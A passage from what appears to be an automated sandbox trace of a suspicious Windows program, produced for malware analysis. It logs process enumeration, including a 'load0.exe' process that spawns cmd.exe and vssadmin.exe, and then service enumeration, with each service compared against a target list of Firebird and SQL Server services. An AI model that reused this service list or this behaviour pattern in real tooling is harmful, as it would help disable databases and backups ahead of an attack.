hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.310] lstrlenW (lpString="svchost.exe") returned 11 [0144.311] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.311] lstrlenW (lpString="svchost.exe") returned 11 [0144.311] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0144.312] lstrlenW (lpString="audiodg.exe") returned 11 [0144.312] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0144.313] lstrlenW (lpString="sihost.exe") returned 10 [0144.313] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.314] lstrlenW (lpString="svchost.exe") returned 11 [0144.314] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0144.314] lstrlenW (lpString="taskhostw.exe") returned 13 [0144.314] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0144.315] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0144.315] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0144.328] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0144.329] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x42, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0144.329] lstrlenW (lpString="explorer.exe") returned 12 [0144.329] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0144.330] lstrlenW (lpString="Memory Compression") returned 18 [0144.330] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0144.331] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0144.331] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0144.331] lstrlenW (lpString="SearchUI.exe") returned 12 [0144.332] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0144.332] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0144.332] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0144.333] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0144.333] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0144.334] lstrlenW (lpString="UsoClient.exe") returned 13 [0144.334] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0144.335] lstrlenW (lpString="msoia.exe") returned 9 [0144.335] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0144.430] lstrlenW (lpString="taskhostw.exe") returned 13 [0144.430] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0144.431] lstrlenW (lpString="msoia.exe") returned 9 [0144.431] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0144.432] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0144.433] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0144.435] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0144.435] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0144.436] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0144.436] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver_fireplace.exe")) returned 1 [0144.437] lstrlenW (lpString="screensaver_fireplace.exe") returned 25 [0144.437] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="xmlupperarc.exe")) returned 1 [0144.438] lstrlenW (lpString="xmlupperarc.exe") returned 15 [0144.438] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplines-scholars.exe")) returned 1 [0144.439] lstrlenW (lpString="disciplines-scholars.exe") returned 24 [0144.439] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="concerned venture.exe")) returned 1 [0144.440] lstrlenW (lpString="concerned venture.exe") returned 21 [0144.440] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizingscsi.exe")) returned 1 [0144.441] lstrlenW (lpString="organizingscsi.exe") returned 18 [0144.441] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="airplane placing.exe")) returned 1 [0144.442] lstrlenW (lpString="airplane placing.exe") returned 20 [0144.442] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="circus.exe")) returned 1 [0144.443] lstrlenW (lpString="circus.exe") returned 10 [0144.443] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pearl_jurisdiction_en.exe")) returned 1 [0144.444] lstrlenW (lpString="pearl_jurisdiction_en.exe") returned 25 [0144.444] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="das.exe")) returned 1 [0144.445] lstrlenW (lpString="das.exe") returned 7 [0144.445] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="beam removable.exe")) returned 1 [0144.446] lstrlenW (lpString="beam removable.exe") returned 18 [0144.446] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="principle_federation_customs.exe")) returned 1 [0144.447] lstrlenW (lpString="principle_federation_customs.exe") returned 32 [0144.447] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="dome.exe")) returned 1 [0144.448] lstrlenW (lpString="dome.exe") returned 8 [0144.448] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wiresjacket.exe")) returned 1 [0144.449] lstrlenW (lpString="wiresjacket.exe") returned 15 [0144.449] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="basinproteinsabsorption.exe")) returned 1 [0144.454] lstrlenW (lpString="basinproteinsabsorption.exe") returned 27 [0144.454] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middevelopereddie.exe")) returned 1 [0144.455] lstrlenW (lpString="middevelopereddie.exe") returned 21 [0144.455] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tested.exe")) returned 1 [0144.456] lstrlenW (lpString="tested.exe") returned 10 [0144.457] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="infectionsboysdefects.exe")) returned 1 [0144.458] lstrlenW (lpString="infectionsboysdefects.exe") returned 25 [0144.458] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="coming-warned-garage.exe")) returned 1 [0144.459] lstrlenW (lpString="coming-warned-garage.exe") returned 24 [0144.459] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="level.exe")) returned 1 [0144.460] lstrlenW (lpString="level.exe") returned 9 [0144.460] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0144.461] lstrlenW (lpString="dllhost.exe") returned 11 [0144.461] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0144.462] lstrlenW (lpString="conhost.exe") returned 11 [0144.462] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfbc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0144.463] lstrlenW (lpString="conhost.exe") returned 11 [0144.463] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.464] lstrlenW (lpString="svchost.exe") returned 11 [0144.465] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0144.466] lstrlenW (lpString="load0.exe") returned 9 [0144.466] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0144.797] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0144.797] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1844, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0144.798] lstrlenW (lpString="conhost.exe") returned 11 [0144.798] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1be4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x794, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0144.799] lstrlenW (lpString="cmd.exe") returned 7 [0144.799] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1be4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0144.800] lstrlenW (lpString="conhost.exe") returned 11 [0144.800] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.801] lstrlenW (lpString="svchost.exe") returned 11 [0144.801] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1be4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0144.802] lstrlenW (lpString="vssadmin.exe") returned 12 [0144.802] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1be4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0144.803] CloseHandle (hObject=0x10cc) returned 1 [0144.803] Sleep (dwMilliseconds=0x1f4) [0145.831] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5e3618 [0145.832] EnumServicesStatusExW (in: hSCManager=0x5e3618, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0) returned 0 [0145.832] GetLastError () returned 0xea [0145.832] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1d5a) returned 0x64ac08 [0145.833] EnumServicesStatusExW (in: hSCManager=0x5e3618, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x64ac08, cbBufSize=0x1d5a, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x64ac08, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0) returned 1 [0145.833] CloseServiceHandle (hSCObject=0x5e3618) returned 1 [0145.834] lstrlenW (lpString="Appinfo") returned 7 [0145.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0145.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0145.834] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0145.834] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0145.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0145.834] lstrlenW (lpString="AppXSvc") returned 7 [0145.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0145.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0145.834] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0145.834] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0145.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0145.834] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0145.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0145.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0145.834] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0145.834] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0145.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0145.834] lstrlenW (lpString="Audiosrv") returned 8 [0145.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0145.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0145.834] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0145.834] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0145.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0145.834] lstrlenW (lpString="BFE") returned 3 [0145.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0145.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0145.834] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0145.834] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0145.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0145.834] lstrlenW (lpString="BITS") returned 4 [0145.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0145.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0145.834] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0145.834] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0145.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0145.835] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0145.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0145.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0145.835] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0145.835] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0145.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0145.835] lstrlenW (lpString="CDPSvc") returned 6 [0145.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0145.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0145.835] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0145.835] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0145.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0145.835] lstrlenW (lpString="ClickToRunSvc") returned 13 [0145.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0145.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0145.835] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0145.835] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0145.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0145.835] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0145.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0145.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0145.835] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0145.835] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0145.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0145.835] lstrlenW (lpString="CryptSvc") returned 8 [0145.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0145.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0145.835] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0145.835] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0145.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0145.835] lstrlenW (lpString="DcomLaunch") returned 10 [0145.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0145.836] lstrcmpiW 